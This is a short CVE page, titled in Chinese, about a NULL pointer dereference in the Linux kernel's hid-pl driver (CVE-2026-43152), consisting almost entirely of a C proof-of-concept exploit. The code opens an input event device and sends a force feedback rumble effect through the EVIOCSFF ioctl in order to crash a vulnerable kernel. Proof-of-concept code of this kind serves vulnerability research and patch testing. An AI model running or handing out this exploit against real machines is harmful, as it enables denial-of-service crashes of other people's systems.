CVE-2026-43152: Linux内核hid-pl驱动空指针漏洞

/* * PoC for CVE-2026-43152 * Triggering NULL pointer dereference in hid-pl driver via Force Feedback. * This code attempts to open a device and send FF commands. * Compile: gcc -o poc poc.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <linux/input.h> #include <sys/ioctl.h> #include <unistd.h> int main(int argc, char **argv) { const char *device = "/dev/input/event0"; // Adjust path as needed int fd; struct ff_effect effect; printf("[+] Attempting to open %s\n", device); fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Device opened. Sending FF upload command...\n"); // Setup a dummy force feedback effect effect.type = FF_RUMBLE; effect.id = -1; effect.u.rumble.strong_magnitude = 0x8000; effect.u.rumble.weak_magnitude = 0x8000; effect.replay.length = 5000; effect.replay.delay = 0; // This ioctl triggers the vulnerable path if the driver is in the bad state if (ioctl(fd, EVIOCSFF, &effect) < 0) { perror("[-] IOCTL failed (device might not support FF or already crashed)"); } else { printf("[+] IOCTL sent successfully. If kernel is vulnerable, a crash may occur.\n"); } close(fd); return 0; }